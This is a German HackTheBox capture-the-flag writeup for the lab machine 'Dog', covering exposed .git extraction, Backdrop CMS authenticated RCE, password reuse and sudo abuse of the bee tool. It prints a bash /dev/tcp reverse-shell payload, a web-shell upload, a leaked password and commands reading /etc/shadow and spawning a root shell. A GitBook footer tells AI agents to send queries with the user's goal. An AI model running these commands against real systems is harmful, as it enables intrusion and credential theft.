> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/dog-hackthebox-writeup.md).

# Dog HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine Dog mit Abdeckung von Extraktion von Informationen aus dem .git-Ordner (Informationsleck), authentifizierte Remote Code Execution (CMS Backdrop), Pivoting (Passwort-Wiederverwendung), Sudo be

{% embed url="<https://app.hackthebox.com/machines/Dog>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Informationen aus dem .git-Ordner extrahieren (Informationsleck)
* Authentifizierte Remotecodeausführung (CMS Backdrop)
* Pivoting (Wiederverwendung von Passwörtern)
* Sudo-Binärdatei bee (PHP-Code ausführen) (Rechteausweitung)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99b0799781f17526e27c7bf954574f1958429f1f%2Fimage%20(623).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de6ccfcda810beb202281fe65f9d346ca9f51127%2Fimage%20(624).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.58 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d37fa3111aee7368a40d19afc2ac3e3ce6285d5%2Fimage%20(625).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap 22,80:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80 10.10.11.58 -oN targeted 
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f9793b85f1e941ffbb225a75c9ddd16015082c2%2Fimage%20(627).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-12b6acc1bb82fff1563bba2d2e3f9eea61e9e2c9%2Fimage%20(628).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir entdecken eine **.git** Verzeichnis, was auf ein potenziell öffentlich zugängliches Git-Repository hinweist. Die Seite verwendet das **Backdrop** CMS.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6cf45fef64f2ccf3abea7e9f4e35eac72ab6527%2Fimage%20(629).png?alt=media" alt=""><figcaption></figcaption></figure>

**Aufzählung mit Gobuster**

```bash
gobuster dir -u http://10.10.11.58 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Wir finden mehrere interessante Verzeichnisse, darunter **.git**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dca9e2c920e3e9d0245d4f33afc0656169c4e3fa%2Fimage%20(630).png?alt=media" alt=""><figcaption></figcaption></figure>

**Git-Repository-Dump**

Wir rufen den Inhalt des Repositories mit folgendem Befehl ab:

```git
git-dumper http://10.10.11.58/.git .git
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8761e8c7602332845bf0d5005227a752b21fd048%2Fimage%20(631).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir finden einen **settings.php** Datei mit einem Passwort:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16fff1520d2a586aa99f5350f33a2b8fcbea0bc9%2Fimage%20(632).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir durchsuchen gespeicherte E-Mails mit:

```bash
find .git -type f -exec grep -E '@dog' {} +
```

Wir finden die folgende E-Mail: **<tiffany@dog.htb>**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-74d3075d5c00a3d143bba87d4851630a17b9c433%2Fimage%20(633).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Backdrop CMS Ausnutzung (RCE)**

Wir verwenden die gefundenen Anmeldedaten, um uns mit dem CMS zu verbinden.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7d05759319e5aae7c9d41455e72c9646ec56c87%2Fimage%20(634).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nach Schwachstellen suchen**

Mit **searchsploit**, identifizieren wir eine RCE-Schwachstelle:

```bash
searchsploit -m php/webapps/52021.py
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6c8750629d8cbaecd734ff386c172f9f3fce7a84%2Fimage%20(635).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir führen den Exploit aus:

```bash
python3 52021.py http://10.10.11.58
```

Dadurch wird eine ZIP-Datei erstellt, die eine PHP-Shell enthält.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6b8c2803d4083cf218a11b04cf954ae7685e362%2Fimage%20(636).png?alt=media" alt=""><figcaption></figcaption></figure>

Dann komprimieren wir die Shell zu **tar.gz**:

```bash
tar -czvf shell.tar.gz shell
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-60bffde1288acfaf36be4a9571b7c7dfd02e243f%2Fimage%20(637).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir schleusen sie ein über **admin / installer / manual**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1bebfa41d951db53d2ef0c6468c878df064a62f2%2Fimage%20(638).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be618b8a576f80deb6cd999be90e6cfbad1a7ef2%2Fimage%20(639).png?alt=media" alt=""><figcaption></figcaption></figure>

**Bestellabwicklung**

Wir finden einen Ordner **modules/cmd/** mit **cmd.php**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e31cc9cb22e5a42ed6909f55a8e9484921a0108a%2Fimage%20(640).png?alt=media" alt=""><figcaption></figcaption></figure>

Was uns erlaubt, Befehle auszuführen:

```bash
ifconfig 
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-23ca234217fa95f326999e5d5d57844118a33442%2Fimage%20(641).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Reverse Shell Backdrop CMS**

Wir öffnen einen Listener auf Port 443:

```bash
nc -nlvp 443 
```

Wir schleusen eine Payload ein:

```bash
bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-08b91c3335d4e87f3252071166ac44288c01ef39%2Fimage%20(642).png?alt=media" alt=""><figcaption></figcaption></figure>

Sobald die Verbindung steht, stabilisieren wir unsere Shell:

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## **Privilegieneskalation**

### **Pivoting zum Benutzer johncusack**

Wir listen Benutzer mit einer gültigen Bash-Shell auf:

```bash
cat /etc/passwd | grep "/bash"
```

Wir finden **root, jobert und johncusack**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24eaebf34b7a9ec59821c82ba85aed7f89deec47%2Fimage%20(643).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir versuchen, die Anmeldedaten wiederzuverwenden und erhalten Zugriff mit:

```bash
su johncusack
BackDropJ2024DS2024
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aee9ae961fc30108b3715847ec51d3c1a96a48a0%2Fimage%20(644).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3795951603ee379ea4d24a779844d04a85fca1e1%2Fimage%20(648).png?alt=media" alt="" width="557"><figcaption></figcaption></figure>

### **Rechteausweitung mit der Bee-Binärdatei**

Wir prüfen die sudo-Rechte:

```bash
sudo -l
```

Wir können ausführen **/usr/local/bin/bee** als root.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f24d3737f30f7efe05aa128faaa4d6d23e277e9c%2Fimage%20(645).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse von Bee**

{% hint style="info" %}
Bee ist ein Administrationswerkzeug für **Backdrop CMS**, ähnlich wie **Drush** für Drupal. Es ermöglicht die Ausführung verschiedener Befehle.
{% endhint %}

`Verwendung: bee [globale-optionen] [optionen] [argumente]`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d412d26b585e1d1c1f44048436f99dc13e183fb5%2Fimage%20(646).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir identifizieren die **eval** Option, die es erlaubt, beliebigen PHP-Code auszuführen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6adc0a0848bf8e4378a80347ee7664bca75f76e4%2Fimage%20(647).png?alt=media" alt=""><figcaption></figcaption></figure>

**Lesen `/etc/shadow`**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'echo shell_exec("cat /etc/shadow 2>&1");'
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fdc0fd20adf91a65dbdaaf26f8c10a680141a43%2Fimage%20(649).png?alt=media" alt=""><figcaption></figcaption></figure>

**Root-Shell erhalten**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'shell_exec("/bin/bash -p");'
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c84bf1122334818882ac43099f12872be39a876a%2Fimage%20(650).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05300e30ecc099bf870dbe6d7c9e576836a5dda0%2Fimage%20(651).png?alt=media" alt="" width="398"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/dog-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
